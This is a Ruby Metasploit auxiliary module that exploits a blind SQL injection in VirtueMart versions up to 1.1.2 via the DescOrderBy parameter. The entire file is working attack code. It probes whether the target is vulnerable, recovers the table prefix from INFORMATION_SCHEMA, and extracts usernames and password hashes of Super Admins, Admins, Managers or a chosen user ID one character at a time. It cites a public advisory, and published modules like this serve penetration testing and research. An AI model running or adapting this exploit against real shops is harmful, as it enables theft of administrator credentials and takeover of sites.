require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'VirtueMart <= 1.1.2 Sql Injection Exploit', 'Description' => %q{ This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability. }, 'Author' => 'Janek Vind "waraxe" ', 'License' => MSF_LICENSE, 'Version' => '1.0', 'References' => [ ['BID', '33480'], ['URL', 'http://www.waraxe.us/advisory-71.html'], ['URL', 'http://secunia.com/advisories/33671/'] ], 'DisclosureDate' => 'Jan 24 2009')) register_options( [ OptString.new('URI', [false, 'Path to VirtueMart', '']), OptInt.new('TARGETID', [false, 'Target ID (optional)']), OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']), OptBool.new('ALLSA', [ false, 'Fetch all Super Admins', true]), OptBool.new('ALLA', [ false, 'Fetch all Admins', false]), OptBool.new('ALLM', [ false, 'Fetch all Managers', false]), ], self.class) end def run @marker = 'name="addtocart"' @target_uri = '/' + datastore['URI'] + '/' @target_uri = @target_uri.gsub(/\/{2,}/, '/') @target_id = datastore['TARGETID'] @target_prefix = datastore['PREFIX'] @requests = @fetched = 0 time_start = Time.now.to_i # debug_level=2 - more debug messages, 1 - less @debug_level = 1 if(!pre_test) print_error('Exploit failed in pre-test phase') return end if(datastore['ALLSA']) if(!get_users(1)) print_error('Exploit failed fetching Super Admins') return end end if(datastore['ALLA']) if(!get_users(2)) print_error('Exploit failed fetching Admins') return end end if(datastore['ALLM']) if(!get_users(3)) print_error('Exploit failed fetching Managers') return end end if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM'])) print_status('Target ID or group(s) not specified, fetching Super Admins as default') if(!get_users(1)) print_error('Exploit failed fetching Super Admins') return end end if(@target_id > 1) if(!get_user()) print_error("Exploit failed fetching user with ID=#{@target_id}") return end end time_spent = Time.now.to_i - time_start print_status("Exploitation results:") print_status("Got data for #{@fetched} users") print_status("Total time spent: #{time_spent} seconds") print_status("HTTP requests needed: #{@requests}") end ############################################################ def make_post(post_data) timeout = 30 begin res = send_request_cgi({ 'uri' => @target_uri, 'method' => 'POST', 'data' => post_data, }, timeout) if(res and res.body) @requests += 1 return res.body else print_error('No response from server') return nil end rescue ::Exception print_error("Error: #{$!.class} #{$!}") return nil end end ############################################################ def test_condition(condition) max_tries = 10 post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))" 1.upto(max_tries) do |i| buf = make_post(post_data) if(buf) return buf.include?(@marker) else print_status("Sleeping #{i} seconds") sleep(i) print_status("Awake, retry ##{i}") end end return nil end ############################################################ def pre_test post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1' buf = make_post(post_data) or return false if(!buf.include?(@marker)) print_error('Pre-test 1 failed - VirtueMart not detected') return false else print_status('Pre-test 1 passed - VirtueMart detected') end post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' buf = make_post(post_data) or return false if(buf.include?(@marker)) print_error('Pre-test 2 failed - target is patched?') return false else print_status('Pre-test 2 passed - injection detected') end post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)' buf = make_post(post_data) or return false if(!buf.include?(@marker)) print_error('Pre-test 3 failed - subselects not supported?') return false else print_status('Pre-test 3 passed - subselects supported') end if(@target_prefix == '') print_status('Prefix not provided, trying to fetch') @target_prefix = get_prefix if(!@target_prefix) print_error('Prefix fetch failed') return false else print_status("Prefix fetched: #{@target_prefix}") return true end end post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," + "(SELECT 1 FROM #{@target_prefix}users LIMIT 1)" buf = make_post(post_data) or return false if(!buf.include?(@marker)) print_error('Pre-test 4 failed - wrong prefix?') print_status('Trying to fetch valid prefix') @target_prefix = get_prefix if(!@target_prefix) print_error('Prefix fetch failed') return false else print_status("Prefix fetched: #{@target_prefix}") return true end else print_status('Pre-test 4 passed - prefix OK') end return true end ############################################################ def get_char(pattern, min, max) num = get_num(pattern, min, max) or return nil return num.chr end ############################################################ def get_hash(group = nil, u_pos = nil) hash = '' if(group and u_pos) pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)" else pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})" end p_len = get_num(pattern, 32, 100) or return nil print_status("Got hash length: #{p_len.to_s}") 1.upto(p_len) do |pos| print_status("Finding hash char pos #{pos}") if @debug_level > 0 if(group and u_pos) pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)" else pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})" end c = get_char(pattern, 32, 128) or return nil hash << c print_status("Known: #{hash}") if @debug_level > 0 end return hash end ############################################################ def get_prefix prefix = '' post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' + '(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)' buf = make_post(post_data) or return false if(!buf.include?(@marker)) print_error('INFORMATION_SCHEMA not found - mysql < 5.0?') return false else print_status('INFORMATION_SCHEMA detected, proceed') end pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' + ' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)' p_len = get_num(pattern, 5, 100) or return nil p_len -= 10 if(p_len < 0) print_error("Invalid prefix length: #{p_len.to_s}") return false elsif(p_len == 0) print_status('Prefix seems to be empty') @target_prefix = '' return true else print_status("Got prefix length: #{p_len.to_s}") end 1.upto(p_len) do |pos| print_status("Finding prefix char pos #{pos}") if @debug_level > 0 pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" + " WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)" c = get_char(pattern, 32, 128) or return nil prefix << c print_status("Known: #{prefix}") if @debug_level > 0 end return prefix end ############################################################ def get_num(pattern, min = 1, max = 100) curr = 0; while(1) area = max - min if(area < 2 ) post_data = "#{pattern}=#{max}" eq = test_condition(post_data) if(eq == nil) return nil elsif(eq) len = max else len = min end break end half = area / 2 curr = min + half post_data = "#{pattern}>#{curr}" bigger = test_condition(post_data) if(bigger == nil) return nil elsif(bigger) min = curr else max = curr end print_status("Current: #{min}-#{max}") if @debug_level > 1 end return len end ############################################################ def get_username(group = nil, u_pos = nil) username = '' if(group and u_pos) pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)" else pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})" end u_len = get_num(pattern, 1, 150) or return nil print_status("Got username length: #{u_len.to_s}") 1.upto(u_len) do |pos| print_status("Finding username char pos #{pos}") if @debug_level > 0 if(group and u_pos) pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)" else pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})" end c = get_char(pattern, 32, 128) or return nil username << c print_status("Known: #{username}") if @debug_level > 0 end return username end ############################################################ def get_users(group) if(group == 1) usertype = '0x53757065722041646d696e6973747261746f72' print_status('Starting to fetch all Super Admins') elsif(group == 2) usertype = '0x41646d696e6973747261746f72' print_status('Starting to fetch all Admins') else usertype = '0x4d616e61676572' print_status('Starting to fetch all Managers') end pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})" u_cnt = get_num(pattern, 0, 100) or return nil print_status("Targets to fetch: #{u_cnt.to_s}") 0.upto(u_cnt - 1) do |pos| print_status("Fetching user pos #{pos}") username = get_username(usertype, pos) or return nil hash = get_hash(usertype, pos) or return nil @fetched += 1 print_status( "Got user data:" + "\n==============================\n" + "Username: #{username}\n" + "Hash: #{hash}" + "\n==============================" ) end return true end ############################################################ def get_user print_status("Testing user ID=#{@target_id}") pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})" u_cnt = get_num(pattern, 0, 100) or return nil if(u_cnt != 1) print_error("No user with ID=#{@target_id}") return true end print_status("Working with user ID=#{@target_id}") username = get_username or return nil hash = get_hash or return nil @fetched += 1 print_status( "Got user data:" + "\n==============================\n" + "Username: #{username}\n" + "Hash: #{hash}" + "\n==============================" ) return true end ############################################################ end